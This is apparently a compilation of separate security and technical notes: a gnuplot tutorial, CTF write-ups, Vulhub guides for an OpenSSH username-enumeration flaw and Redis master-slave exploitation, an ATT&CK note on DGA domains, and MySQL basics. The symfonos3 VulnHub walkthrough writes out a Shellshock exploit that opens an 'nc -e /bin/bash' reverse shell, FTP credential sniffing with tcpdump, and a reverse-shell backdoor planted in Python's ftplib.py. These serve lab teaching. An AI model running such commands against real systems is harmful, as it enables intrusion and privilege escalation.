f(x) 为 sin(w*x),其中 w 为常数。 f(x) = sin(w*x) # 函数 sinc(x) 为 sin(pi*x)/(pi*x)。 sinc(x) = sin(pi*x)/(pi*x) # 函数 delta(t) 为脉冲函数。 delta(t) = (t == 0) # 函数 ramp(t) 当其小于零为零,当其大于零为斜率等于 1 的直线。 ramp(t) = (t > 0) ? t : 0 # 函数 min(a,b) 取两者中较小的数。 min(a,b) = (a < b) ? a : b comb(n,k) = n!/(k!*(n-k)!) len3d(x,y,z) = sqrt(x*x+y*y+z*z) plot f(x) = sin(x*a), a = 0.2, f(x), a = 0.4, f(x) ``` > gnuplot 已定义的常数仅有 pi (pi = 3.14159) --- ## 简单使用 gnuplot 绘制数学函数或数值资料的步骤大体如: - 定义常数及函数:定义常数及函数,使程式模组化及易于了解。 - 设定绘图环境:gnuplot 绘图之前已预先设定许多绘图参数。 - 绘图:在定义数学函数或设定绘图环境之后,接着就是绘出数学函数或数值资料的图形。gnuplot 提供操作方便的绘图指令——plot (2D) 或 splot (3D)。 - 产生输出结果:在终端上绘出结果后,可经由一些步骤而产生不同输出装置所需的输出。 依照上述过程,可快速地画出图形。剩下的步骤就是细心的调整绘图环境参数或修改函数方程式、常数等,即可得到满意的结果。 **以曲线绘出三角函数 sin(x)** ``` plot sin(x) ``` **从 -pi 到 +pi 的 sin(x) 和 cos(x)** ``` set xrange [-pi:pi] replot cos(x) with points pointtype 2 或 plot [-pi:pi] sin(x), cos(x) with points pointtype 2 ``` > replot 命令,它执行先前的 plot 命令。当你绘制曲线图且需要不断对该图进行修改以添加想要的特征时,此命令会非常有用。另外,replot 使你可以添加更多的图。尝试输入 replot cos(x)。依照语法,该命令等同于 plot sin(x), cos(x)。replot 就是获取先前的绘图字符串,添加必要的逗号,然后附加输入给它的其余部分。 **将数据文件中的数据画出** ``` plot sin(x), '1.txt' ``` 其中 1.txt 为一数据文件,每一行描述一点坐标位置。 内容如下,其中 # 后面的内容为注释: ``` # $Id: 1.dat,v 1.1.1.1 1998/04/15 19:16:40 lhecking Exp $ -20.000000 -3.041676 -19.000000 -3.036427 -18.000000 -3.030596 -17.000000 -3.024081 -16.000000 -3.016755 -15.000000 -3.008456 …… ``` > 注: 输入 `pwd` 查看当前路径,在当前路径下放入 1.txt **命名图和坐标轴** ``` set title 'My first graph' set xlabel 'Angle, in degrees' set ylabel 'sin(angle)' plot sin(x) ``` **改变轴上 tic 并设置网格** ``` set title "My first graph" set xrange [-pi:pi]  # we want only one cycle set xtics ('0' 0, '90' pi/2, '-90' -pi/2, '45' pi/4,'-45' -pi/4,'135' 3*pi/4,'-135' -3*pi/4) set grid set xlabel 'Angle, in degrees' set ylabel 'sin(angle)' plot sin(x) ``` **多条曲线** ``` plot sin(x) with linespoints pointtype 5, cos(x) w boxes lt 4 ``` > with 子句使你可以详细而精确地指定线的样式。在本例中,我们说明两种有用的样式。第一种样式 linespoints 通常在对数据绘图时非常有用,它在涉及的每个示例或数据点处标记一个点,并使用线性插值法连接连续的点。这里我们另外指定点类型为 5,它选择终端允许的第五种点。第二种样式 boxes 更适合绘制直方图数据。注意我们如何在 cos(x) 曲线中将 with 缩写成 w。类似地,lt 是 linetype 的缩写,是另一个特定于终端的设置,它选择终端可以绘制的四种线。不必说,你可以使用 pt 代替冗长的 pointtype。如果想在多条线中使用相同的绘图样式(在一个 plot 命令中或在多个 plot 命令中),可以使用 set 命令设置绘图样式:set style function linespoints。要更改用于绘制与函数相对的数据集合的样式,使用 set style data linespoints。 > 当绘制两条或多条曲线时,我们需要关键字或图例来对它们进行区分。默认情况下,关键字在右上角;但是如果它妨碍了图,可以将关键字放到其他位置 。如果愿意,甚至可以放到图外。 **定制图的关键字或图例** ``` set key top left set key box plot [-pi:pi] sin(x) title 'sinusoid' with linespoints pointtype 5, cos(x) t 'cosine' w boxes lt 4 ``` > 上面,我们在同一图中绘制了正弦和余弦曲线。gnuplot 使你还可以绘制多个图,这样它们可以并排显示在同一输出屏幕或文件中。在某些排版系统中,以一个文件的形式包含两个图形比分别包含两个图形要更容易。 **Multiplot 示例** ``` set xrange [-pi:pi] # gnuplot recommends setting the size and origin before going to multiplot mode # This sets up bounding boxes and may be required on some terminals set size 1,1 set origin 0,0 # Done interactively, this takes gnuplot into multiplot mode set multiplot # plot the first graph so that it takes a quarter of the screen set size 0.5,0.5 set origin 0,0.5 plot sin(x) # plot the second graph so that it takes a quarter of the screen set size 0.5,0.5 set origin 0,0 plot 1/sin(x) # plot the third graph so that it takes a quarter of the screen set size 0.5,0.5 set origin 0.5,0.5 plot cos(x) # plot the fourth graph so that it takes a quarter of the screen set size 0.5,0.5 set origin 0.5,0 plot 1/cos(x) # On some terminals, nothing gets plotted until this command is issued unset multiplot # remove all customization reset ``` --- ## 读取文件 **空格分隔** ``` plot 'data.txt' ``` **逗号分隔** 有时,我们的数据文件中各个数据之间是用逗号作为分隔符的,比如标准的以 “CSV” 为后缀的那种数据文件。如果在逗号之后没有空格分隔,默认情况下 gnuplot 是无法直接读取的。 这时可以有两种方案,第一种是提前处理一下数据文件,比如将逗号替换为空格,随便一个文本处理软件都能很轻松的做这种替换。但是有时我们有很多这样的数据文件,每个都这样处理一下也挺麻烦的。 第二种方法就是在 gnuplot 中给出文件分隔符的信息,让 gnuplot 能够读懂我们的文件。下面将要说的就是这种方法。 比如我们有如下的文件: ``` -3,0.1,0.0001234098 -2.9,0.1062699256,0.0002226299 -2.8,0.1131221719,0.000393669 -2.7,0.1206272618,0.0006823281 -2.6,0.1288659794,0.0011592292 -2.5,0.1379310345,0.0019304541 -2.4,0.1479289941,0.0031511116 -2.3,0.1589825119,0.0050417603 -2.2,0.1712328767,0.0079070541 -2.1,0.1848428835,0.0121551783 -2,0.2,0.0183156389 -1.9,0.2169197397,0.0270518469 -1.8,0.2358490566,0.0391638951 -1.7,0.2570694087,0.0555762126 -1.6,0.2808988764,0.0773047404 -1.5,0.3076923077,0.1053992246 -1.4,0.3378378378,0.1408584209 -1.3,0.3717472119,0.184519524 -1.2,0.4098360656,0.2369277587 -1.1,0.4524886878,0.2981972794 -1,0.5,0.3678794412 -0.9,0.5524861878,0.4448580662 -0.8,0.6097560976,0.527292424 -0.7,0.6711409396,0.6126263942 -0.6,0.7352941176,0.6976763261 -0.5,0.8,0.7788007831 -0.4,0.8620689655,0.852143789 -0.3,0.9174311927,0.9139311853 -0.2,0.9615384615,0.9607894392 -0.1,0.9900990099,0.9900498337 0,1,1 0.1,0.9900990099,0.9900498337 0.2,0.9615384615,0.9607894392 0.3,0.9174311927,0.9139311853 0.4,0.8620689655,0.852143789 0.5,0.8,0.7788007831 0.6,0.7352941176,0.6976763261 0.7,0.6711409396,0.6126263942 0.8,0.6097560976,0.527292424 0.9,0.5524861878,0.4448580662 1,0.5,0.3678794412 1.1,0.4524886878,0.2981972794 1.2,0.4098360656,0.2369277587 1.3,0.3717472119,0.184519524 1.4,0.3378378378,0.1408584209 1.5,0.3076923077,0.1053992246 1.6,0.2808988764,0.0773047404 1.7,0.2570694087,0.0555762126 1.8,0.2358490566,0.0391638951 1.9,0.2169197397,0.0270518469 2,0.2,0.0183156389 2.1,0.1848428835,0.0121551783 2.2,0.1712328767,0.0079070541 2.3,0.1589825119,0.0050417603 2.4,0.1479289941,0.0031511116 2.5,0.1379310345,0.0019304541 2.6,0.1288659794,0.0011592292 2.7,0.1206272618,0.0006823281 2.8,0.1131221719,0.000393669 2.9,0.1062699256,0.0002226299 3,0.1,0.0001234098 ``` 可以看到,数据有三列,用逗号来分隔,我们下面的例子中之用到前两列。如果直接用如下命令的话得到的不是我们希望的结果。 ``` plot 'sample.csv' ``` gnuplot 只解析出了第一列的数据。如果我们告诉 gnuplot 我们的数据有两列会怎样呢? ``` Plot 'sample.csv' using 1:2 ``` gnuplot 会报错 正确的方法是这样的: ``` plot 'sample.csv' using 1:2 "%lf,%lf" ``` 格式字符串的格式与 C 语言中 scanf 的格式字符串是类似的,实际上 gnuplot 最后就是用的 scanf 函数来读取数据。%lf 表示按照 double 型浮点数类型来读取。需要注意的是 gnuplot 的格式化字符串不支持 %f。 --- ## 输出文件 在启动时,终端类型设置为 X11。gnuplot 采用标准设计,可以在多个终端设备上绘图。这包括直接打印到多种打印机中,包括 Epson、HP 和 Imagen 打印机。它甚至可以在伪设备中绘图,如 postscript 和 png。这主要涉及生成输出文件,而不是可查看文件或打印输出。这是将你的图表包含在其他报表中的一种技巧。 **设置输出和终端类型** ``` # gnuplot recommends setting terminal before output set terminal png # The output filename set output 'output.png' plot sin(x) ``` 现在,文件 output.png 中有了刚才绘制的图。 所有终端在能力上都不相同。其中的一些(如 LaTeX)可能不支持文本的旋转,所以如果你像我们前面那样设置 ylabel,在不同的终端中可能显示不一样。换句话说,你可以在 LaTeX 的特定终端中使用 LaTex 命令。例如,set ylabel $sin(\\\\theta)$(注意我们使用两个反斜杠产生一个 LaTex 所需的反斜杠 —— gnuplot 在将双引号中所括的字符串传送到终端驱动程序之前,先对其进行反斜杠处理)。现在,你可以使用 \\input{output.tex} 将输出文件包含在 LaTeX 文件中。要在 PostScript 终端中获得相同的结果,使用相应的 PostScript 命令:{/Symbol q}。在 enhanced PostScript 和 LaTeX 中,你可以使用表示法 x^{superscript} 和 x_{subscript} 得到上标文字。还要注意缩写的终端和输出命令: **eps 驱动程序的能力** ``` # enhanced PostScript, essentially PostScript with bounding boxes set term post enh set out 'gplt.eps' set xlabel '{/Symbol q_1} set ylabel 'sin^2({/Symbol q_1})' plot sin(x)**2 ``` --- ## 3D绘图 **以纵横各 10 条线组成的网格画出 sin(x)*cos(y) 的图形** ``` splot [-pi:pi] [-pi:pi] sin(x)*cos(y) ``` **画等高线图** ``` # 设置三维图表面的网格的数目 set dgrid3d 100,100 # 设置画等高线 set contour # 设置等高线的疏密和范围,数据从 -0.2 到 0.2 中间每隔 0.01 画一条线 set cntrparam levels incremental -0.9,0.1,0.9 # 去掉上面的三维图形 unset surface set view 0,0 unset key splot [-pi:pi] [-pi:pi] sin(x)*cos(y) ``` **画 pm3d 图** ``` set pm3d set isosamples 50,50 splot x**2+y**2 ``` ``` # 设置视角,(0,0)将投影到底面上去 set view 0,0 # 把z轴上的数字给去掉 unset ztics unset surface splot x**2+y**2 reset ``` --- ## 绘制时间序列图 通常我们利用数据文件绘图时,XY 坐标的值都是实数,也就是我们要绘制图形的函数是 R 到 R 的映射。可有时横轴或纵轴的数据是时间值,时间的格式每次可能还都不太一样。这时我们就需要特殊设置一下 gnuplot 了。 假设我们有数据文件 “timedat.dat”, 文件的内容如下。 ``` #日/月/年 值 01/06/93 100 17/08/93 900 04/10/93 1300 11/10/93 300 28/10/93 1000 ``` 可以看到,横坐标是时间值,需要将这个信息告诉 gnuplot。利用如下的命令。 ``` set xdata time ``` 告诉 gnuplot 数据文件中的时间格式是什么样 ``` set timefmt "%d/%m/%y" ``` 读取文件显示 ``` plot 'timedat.dat' using 1:2 with points ps 3 pt 6 title "" ``` 可以看到输出的横坐标只有月份和日期,没有年份信息。如果需要加入年份信息,可以这样设置: ``` set format x "%y/%m/%d" ``` 执行先前的 plot 命令 ``` replot ``` --- ## 数据平滑 gnuplot 中可以利用 smooth 关键字实现数据的平滑,平滑的方法有多种,最主要的几种如下: - unique : unique 的作用是首先将数据点按照 x 的大小关系排序。如果有多个数据点的 x 值相同的话则取这些数据点的平均值。 - frequency : frequency 首先将数据点按照 x 的大小关系排序,但是如果多个数据点的 x 值相同的话则将这些数据点的 y 值叠加。 - bezier : bezier 用 n 次 的 bezier 曲线连接数据点,n 是数据点的个数。曲线保证过头尾两个数据点,但是中间的数据点一般就不会经过了。这样的曲线足够光滑但不能保证通过所有的数据点。 - sbezier : sbezier 相当于首先应用 unique 将数据排序并将相同 x 值的数据取平均,然后应用 bezier。 - csplines : csplines 相当于首先应用 unique 将数据排序并将相同 x 值的数据取平均,然后应用自然样条插值。获得的曲线保证通过所有的数据点 (unique 处理过的数据点)。 - acsplines : acsplines 相当于首先应用 unique 将数据排序并将相同 x 值的数据取平均,然后应用加权的自然样条插值。加权值通过 using 关键字指定。加权后的曲线不一定通过所有的数据点。权值越大就越接近数据点。 下面是一个例子,数据文件 "price.dat" ``` # Average PQR and XYZ stock price (in dollars per share) per calendar year 1975 49 162 1976 52 144 1977 67 140 1978 53 122 1979 67 125 1980 46 117 1981 60 116 1982 50 113 1983 66 96 1984 70 101 1985 91 93 1986 133 92 1987 127 95 1988 136 79 1989 154 78 1990 127 85 1991 147 71 1992 146 54 1993 133 51 1994 144 49 1995 158 43 ``` 读取文件显示 ``` plot "price.dat" using 1:2 with linespoints,"" using 1:2 title "bezier" smooth bezier,"" using 1:2 title "csplines" smooth csplines ``` 读取文件显示 ``` plot [1975:1995][40:160] "price.dat" using 1:2 with points title "price.dat", "" u 1:2:(1) smooth acsplines title "1", "" using 1:2:(1/50.) smooth acsplines title "1/50", "" using 1:2:(50) smooth acsplines title "50", "" using 1:2:(1/10000.) smooth acsplines title "1/10000" ``` ## 绘图环境参数 - 参考 : https://blog.csdn.net/liyuanbhu/article/details/8502461 --- ## Source & Reference - [win10下gnuplot的安装和使用](https://blog.csdn.net/qq_39516859/article/details/82108976) - [gnuplot 入门教程](https://blog.csdn.net/liyuanbhu/article/details/8502383) - [有逼格的画图从gnuplot说起](https://xijunlee.github.io/2016/12/24/2016-12-24-you-bi-ge-de-hua-tu-cong-gnuplotshuo-qi/) - [gnuplot 入门教程 2](https://blog.csdn.net/liyuanbhu/article/details/8502418) - [gnuplot 入门教程 3](https://blog.csdn.net/liyuanbhu/article/details/8502450) - [gnuplot 入门教程 4](https://blog.csdn.net/liyuanbhu/article/details/8502461) - [gnuplot 读取逗号分隔的数据文件](https://blog.csdn.net/liyuanbhu/article/details/8516417) - [利用 gnuplot 绘制时间序列图](https://blog.csdn.net/liyuanbhu/article/details/8497582) - [gnuplot 中的数据平滑](https://blog.csdn.net/liyuanbhu/article/details/7574193)
sec-knowleage
# Shreddinger, 500p, dev > The infamous Shredder tried to destroy important documents ! Please, help us recover them and prevents their evil scheme. In this task we were given a simulated piece of paper cut into a hundred strips, as though it went through idealized shredding machine. We were supposed to piece them together to obtain original image, then read the written message - all within ten seconds. Our solution was based on simulated annealing - basicly start with a random permutation of pieces, then try to randomly swap two of them and check if the resulting picture is better than previous one - if not, keep the old configuration, else the new. With small probability we also mutated it anyway, to escape local minima. Another kind of move was 180 degree rotation of random subsequence of strips. Score of a configuration was defined as sum of differences of pixels on seams. Since this is a pretty expensive operation to calculate, we preprocessed the pieces and calculated partial scores of each pair of strips assuming they're neighbours. This was still too slow, so we rewrote the SA part to C++. Finally, when we stitched together the image, we still had to OCR it. Usual tools - tesseract and friends - were useless for this font, so we manually created the font images and wrote our own OCR in Python. The whole script was rather hacky and kind of slow (it was usually taking almost the full 10 seconds), it was failing randomly, but after a couple of tries, we managed to pass the checks.
sec-knowleage
# OpenSSH 用户名枚举漏洞(CVE-2018-15473) OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。 参考链接: - http://openwall.com/lists/oss-security/2018/08/15/5 - https://github.com/Rhynorater/CVE-2018-15473-Exploit - https://www.anquanke.com/post/id/157607 ## 漏洞环境 执行如下命令,编译及启动一个运行OpenSSH 7.7p1的容器: ``` docker compose build docker compose up -d ``` 环境启动后,我们在客户端执行`ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@your-ip -p20022`,输入密码`vulhub`,即可登录到容器中。 ## 漏洞复现 使用[CVE-2018-15473-Exploit](https://github.com/Rhynorater/CVE-2018-15473-Exploit),枚举字典中的用户名: ``` python3 sshUsernameEnumExploit.py --port 20022 --userList exampleInput.txt your-ip ``` ![](1.png) 可见,`root`、`example`、`vulhub`、`nobody`是存在的用户,`rootInvalid`、`user`、`phithon`是不存在的用户。
sec-knowleage
# symfonos3-WalkThrough --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **靶机地址** - https://www.vulnhub.com/entry/symfonos-3,332/ **Description** Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox. For hints you're welcome to contact me via Twitter @zayotic **知识点** - 多级目录爆破 - pspy - 横向提权 - tcpdump 抓包分析 **实验环境** `环境仅供参考` - VMware® Workstation 15 Pro - 15.0.0 build-10134415 - kali : NAT 模式,192.168.141.134 - 靶机 : NAT 模式 --- # 前期-信息收集 开始进行 IP 探活 ```bash nmap -sP 192.168.141.0/24 ``` 排除法,去掉自己、宿主机、网关, `192.168.141.150` 就是目标了 扫描开放端口 ```bash nmap -T5 -A -v -p- 192.168.141.150 ``` ftp、ssh、web,ftp 比起前一个靶机还升级了版本,先从 web 开始 老样子,除了一张图啥都没有,源码提示貌似要去爆破,这里推荐一个目录枚举工具 [gobuster](https://github.com/OJ/gobuster) ```bash ./gobuster dir -u 192.168.141.150 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` 有个 gate 路径,访问看下 啥都没有,爆破一下二级目录 ```bash ./gobuster dir -u 192.168.141.150/gate -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` 有个 cerberus 路径,访问看下 三级目录走起 ```bash ./gobuster dir -u 192.168.141.150/gate/cerberus -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` 啥都没有,换个字典试试 ```bash ./gobuster dir -u 192.168.141.150/gate/cerberus -w /usr/share/wordlists/rockyou.txt ``` 跑了半天,伴随着一堆报错,发现一个路径 tartarus 看来有些东西了 ```bash ./gobuster dir -u 192.168.141.150/gate/cerberus/tartarus -w /usr/share/wordlists/rockyou.txt ``` hermes 和 charon 无法访问, research 是纯文本内容,意义不明 没有头绪,google 了一番,找到了 mzfr 分享的步骤 ```bash ./gobuster dir -u 192.168.141.150 -w /usr/share/dirb/wordlists/big.txt ``` ```bash ./gobuster dir -u 192.168.141.150/cgi-bin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ``` 终于找到狗日的 underworld 了 `http://192.168.141.150/cgi-bin/underworld` --- # 中期-漏洞利用 看上去就像 `uptime` 的输出,查了下,应该是 shellshock 漏洞 ```bash searchsploit -w shellshock ``` 找个 https://www.exploit-db.com/exploits/34766 测试下 kali 监听 ```bash nc -lvp 4444 ``` 执行命令,回弹 shell ```bash wget https://www.exploit-db.com/download/34766 mv 34766 34766.php php 34766.php -u http://192.168.141.150/cgi-bin/underworld -c "nc -e /bin/bash 192.168.141.134 4444" ``` 下面尝试提权 --- # 后期-水平提权 ```bash python -c 'import pty; pty.spawn("/bin/sh")' uname -a sudo -l find / -perm -u=s 2>/dev/null cat /etc/passwd ``` cerberus 用户下没有找到可以提权的点,查看 passwd 用户可以发现还有个 hades 用户可以登录,使用 [pspy](https://github.com/DominicBreuker/pspy) 这个工具看看有哪些进程 ```bash python -m SimpleHTTPServer 8080 ``` ```bash cd /tmp wget 192.168.141.134:8080/pspy64 chmod +x pspy64 /tmp/pspy64 ``` 其他进程没有什么异常的点,但是发现有个 ftp 客户端 python 脚本,不过没有权限查看脚本 ```bash cd /opt/ ls -l ``` 这个脚本一直在向 ftp 发送数据,我们可以抓包分析下 ```bash cd /tmp tcpdump -D tcpdump -w ftp.pcap -i ens33 ``` 运行命令后静静等待一段时间。 将抓好的包传给分析数据的机器,我这里用 windows 端的 wireshark 分析,先传给 kali 在传给 windows ```bash python -m SimpleHTTPServer ``` ```bash wget 192.168.141.150:8000/ftp.pcap ``` 关于 wireshark 的简单用法见 [wireshark 笔记](../../../工具/Wireshark.md) 分析了半天,啥都没有,突然想起来 127.0.0.1 应该是走环回口,妈的,还得再抓包 ```bash cd /tmp tcpdump -D tcpdump -w lo.pcap -i lo ``` 运行命令后静静等待一段时间,再将抓好的包传给分析数据的机器 ```bash cd /tmp python -m SimpleHTTPServer ``` ```bash wget 192.168.141.150:8000/lo.pcap ``` - 注1 : 这段过程要重复 ctrl+c 断 nc 连接,重连数次,要有耐心 - 注2 : 第一次 tcpdump 后再次执行报无权限,我直接重装了靶机,直接 tcpdump lo 口 这次分析看下 ``` tcp.dstport == 21 ``` 发现 hades 的密码 PTpZTfU4vxgzvRBE --- # 后期-垂直提权 登录,尝试提权 ```bash sudo -l find / -perm -u=s 2>/dev/null ``` 和 cerberus 一样啥都没有,突然想到之前 pspy 抓的进程中 ftp 脚本是以 uid0 定时运行的 ```bash cd /opt/ftpclient/ ls cat ftpclient.py ``` 改这个库试试 ```bash find / -name ftplib* ``` ```bash cd /usr/lib/python2.7/ ls -l | grep ftplib.py ``` root 和 god 组可以修改,hades 正好是 god 组的 :) ```bash vi /usr/lib/python2.7/ftplib.py os.system("nc -nv 192.168.141.134 5555 -e /bin/bash") ``` kali 监听 ```bash nc -lvp 5555 ``` 提权成功,感谢靶机作者 Zayotic,和 mzfr 分享的 writeup
sec-knowleage
# Redis Post Exploitation Due to Master and Slave Synchronisation [中文版本(Chinese version)](README.zh-cn.md) Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker. Redis which version starts from 4.0, prior to 5.0.5, can be exploit through the synchronisation between master and slave by an authenticated visitor. Reference: - <https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf> ## Vulnerability Environment Execute following command to start a Redis server 4.0.14: ``` docker compose up -d ``` After server is started, you can connect to this server without credentials by `redis-cli`: ``` redis-cli -h your-ip ``` ## Exploit Use [this script](https://github.com/vulhub/redis-rogue-getshell) to execute arbitrary commands: ![](1.png)
sec-knowleage
# NLP Category: AI Research, 250 points ## Description > A jaded attacker, who installed a malware on your computer, was able to access all your text files and a managed to encrypt them all. By analysing the timestamps, he used the last document you worked on and iterated over it sentence by sentence, and for each sentence used a pre-trained BERT model to create a 768D embedding vector which was persisted to permanent storage. > > The vector he created was computed using the 'bert-base-multilingual-uncased' model. The vector is an average of the second-to-last hidden layer outputs, over all tokens (including special ones). > > Subsequently, he erased the document from your hard-drive and kept a copy to himself. Knowing how significant the loss of the document is to you, he challenges you to solve a riddle to gain back access to your files. > > He provides you with a single feature vector (a 768d embedding), of a specific sentence in the document. > > He guarantees that if you are able to find the actual sentence, he will unlock your hard drive. > > Each sentence in the original document had a line number associated with it, you are to provide him with that number. > > A big hint to find this number is hidden in the first image file provided with this challenge. The second txt file is the BERT embedding. ## Solution: So, according to the description, we have a `768D embedding vector` which is the result of running some kind of algorithm on a sentence from one of our documents. We need to somehow recover the original sentence from the vector. Luckily, we have a hint: ![](images/hint_-_nlp.png) This is just the ISA logo. But if we open it with `stegsolve` and browse the planes, we can find a hidden message: ![](images/nlp_stegsolve.png) It's a bit hard to identify the hidden message with the `stegsolve` output, [this website](https://incoherency.co.uk/image-steganography/#unhide) does a much better job: ![](images/nlp_inco.png) This is the arabic word البقرة which Google translates to *Al-Baqarah*: > Al-Baqarah is the second and longest chapter of the Quran. It consists of 286 verses, 6,201 words and 25,500 letters. This gives us what seems to be the original text. It matches the description that states that *"Each sentence in the original document had a line number associated with it"* - that's how chapters of the Quran are structured. So, the plan is to iterate each sentence from the chapter, calculate the score using the same method used by the attacker and choose the closest result. Here's the Python script for the job: ```python from pwn import * import numpy as np from scipy import spatial from transformers import BertTokenizer, BertModel, BertConfig import os tokenizer = BertTokenizer.from_pretrained('bert-base-multilingual-uncased') config = BertConfig.from_pretrained("bert-base-multilingual-uncased", output_hidden_states = True) model = BertModel.from_pretrained("bert-base-multilingual-uncased", config = config) VECTOR_LEN = 768 def calc_layers_average(layers): res = np.zeros(VECTOR_LEN) count = 0 for layer in layers: for level1 in layer: for level2 in level1: assert(len(level2) == VECTOR_LEN) res += level2.detach().numpy() count += 1 res /= count return res def calc_score(text): inputs = tokenizer(text, return_tensors="pt") outputs = model(**inputs) hidden_states = outputs[2] embedding_output = hidden_states[0] attention_hidden_states = hidden_states[1:] return calc_layers_average(attention_hidden_states) scores = [] with log.progress('Calculating scores...') as p: with open("AlBaqarah.txt", encoding = "utf8") as f: line_num = 0 for line in f: line = line.strip() if line != "": p.status(f"Working on line #{line_num}") scores.append(calc_score(line)) line_num += 1 with log.progress('Searching for best match...'): data = np.load("nlp_embedding.npy") tree = spatial.KDTree(scores) res = tree.query(data) log.success(f"Best match: line #{res[1] + 1}") ``` Output: ```console root@kali:/media/sf_CTFs/shabak/NLP# python3 solve.py [+] Calculating scores...: Done [+] Searching for best match...: Done [+] Best match: line #147 ``` Indeed, `147` was accepted as the correct answer.
sec-knowleage
# T1562-002-动态解析-域名生成算法(DGA) ## 来自ATT&CK描述 # 域生成算法 攻击者可能会使用(DGA) 以程序方式生成用于命令和控制通信以及其他用途(例如恶意应用程序分发)的域名。DGA增加了防御者阻止、跟踪或接管命令和控制通道的难度,因为恶意软件可能会检查数千个域以获取指令。 当DGA通过生成每个字母来构建域名时,它们可以采用明显随机或“乱码”字符串的形式(例如:istgmxdejdnxuyla.ru)。或者,一些DGA通过将单词连接在一起而不是字母来使用整个单词作为单位(例如:cityjulydish.net)。许多DGA是基于时间的,为每个时间段(每小时、每天、每月等)生成不同的域。其他人也包含种子值,以使防御者更难以预测未来的域。 攻击者可以将DGA用于备用通道。当与主要命令和控制服务器失去联系时,恶意软件可能会使用DGA作为重新建立命令和控制的手段。 ## 缓解措施 这种类型的攻击技术无法通过预防性控制轻松缓解,因为它基于对系统功能的滥用。 ## 检测 由于不同DGA算法的数量、不断发展的恶意软件系列以及算法复杂性的增加,检测动态生成的域可能具有挑战性。检测伪随机生成的域名有无数种方法,包括使用频率分析、马尔可夫链、熵、字典单词的比例、元音与其他字符的比例等等。CDN域可能会因其域名格式而触发这些检测。除了根据名称检测DGA域外,另一种更通用的检测可疑域的方法是检查最近注册的名称或很少访问的域。 检测DGA域的机器学习方法已经开发出来,并在应用中取得了成功。一种方法是使用N-Gram方法来确定域名中使用的字符串的随机性分数。如果随机性得分很高,并且域未列入白名单(CDN 等),则可以确定域是否与合法主机或DGA相关。另一种方法是使用深度学习将域分类为DGA生成的。 打败算法的只能是算法,所以还是需要检测DGA域名相关算法来辅助,单纯的依靠区分域名,是无法解决根本问题。 ## 参考推荐 MITRE-ATT&CK-T1568-002 <https://attack.mitre.org/techniques/T1568/002>
sec-knowleage
# Speed-SQL --- **数据库分类** 数据库通常分为:层次式数据库、网络式数据库、关系式数据库三种。 而不同的数据库是按不同的数据结构来联系和组织的。而在当今的互联网中,最常见的数据库模型主要是两种,即关系型数据库和非关系型数据库。 **关系型数据库** 当前在成熟应用且服务与各种系统的主力数据库还是关系型数据库。 代表:Oracle、SQL Server、MySQL **非关系型数据库** 随着时代的进步与发展的需要,非关系型数据库应运而生。 代表:Redis、Mongodb NoSQL 数据库在存储速度与灵活性方面有优势,也常用于缓存。 --- ## MySQL **概要** MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是一种关系数据库管理系统,关系数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内。MySQL 软件采用了双授权政策,分为社区版和商业版。 **存储引擎** MySQL 数据库根据应用的需要准备了不同的引擎,不同的引擎侧重点不一样,区别如下: - MyISAM MySQL 5.0 之前的默认数据库引擎,最为常用。拥有较高的插入,查询速度,但不支持事务 - InnoDB 事务型数据库的首选引擎,支持 ACID 事务,支持行级锁定, MySQL 5.5 起成为默认数据库引擎 - BDB 事务型数据库的另一种选择,支持 Commit 和 Rollback 等其他事务特性 - Memory 所有数据置于内存的存储引擎,拥有极高的插入,更新和查询效率。但是会占用和数据量成正比的内存空间。并且其内容会在 MySQL 重新启动时丢失 - Merge 将一定数量的 MyISAM 表联合而成一个整体,在超大规模数据存储时很有用 - Archive 非常适合存储大量的独立的,作为历史记录的数据。因为它们不经常被读取。Archive 拥有高效的插入速度,但其对查询的支持相对较差 - Federated 将不同的 MySQL 服务器联合起来,逻辑上组成一个完整的数据库。非常适合分布式应用 - Cluster/NDB 高冗余的存储引擎,用多台数据机器联合提供服务以提高整体性能和安全性。适合数据量大,安全和性能要求高的应用 - CSV 逻辑上由逗号分割数据的存储引擎。它会在数据库子目录里为每个数据表创建一个 .csv 文件。这是一种普通文本文件,每个数据行占用一个文本行。CSV 存储引擎不支持索引。 - BlackHole 黑洞引擎,写入的任何数据都会消失,一般用于记录 binlog 做复制的中继 - EXAMPLE 存储引擎是一个不做任何事情的存根引擎。它的目的是作为 MySQL 源代码中的一个例子,用来演示如何开始编写一个新存储引擎。同样,它的主要兴趣是对开发者。EXAMPLE 存储引擎不支持编索引。 另外,MySQL 的存储引擎接口定义良好。有兴趣的开发者可以通过阅读文档编写自己的存储引擎。 **列的类型** 数字类型 - 整数: tinyint、smallint、mediumint、int、bigint - 浮点数: float、double、real、decimal - 日期和时间: date、time、datetime、timestamp、year 字符串类型 - 字符串: char、varchar - 文本: tinytext、text、mediumtext、longtext 二进制(可用来存储图片、音乐等) - tinyblob、blob、mediumblob、longblob --- ## 常用 SQL 语句 **SQL 查询重复出现次数最多的记录,按出现频率排序** ```sql SELECT keyword, count( * ) AS count FROM article_keyword GROUP BY keyword ORDER BY count DESC LIMIT 20 ``` **查询不重复的记录** ```sql select distinct * from tableName ``` **查询不重复的记录转入其他表** - 新表 ```sql create table tab2 as select distinct * from tab1 ``` - 存在的表 ```sql insert into tab2 select distinct * from tab1 ``` **查询A表有但B表没有** ```sql select a.name,b.name from tab1 a left join tab2 b on a.name = b.name where b.name is null ```
sec-knowleage
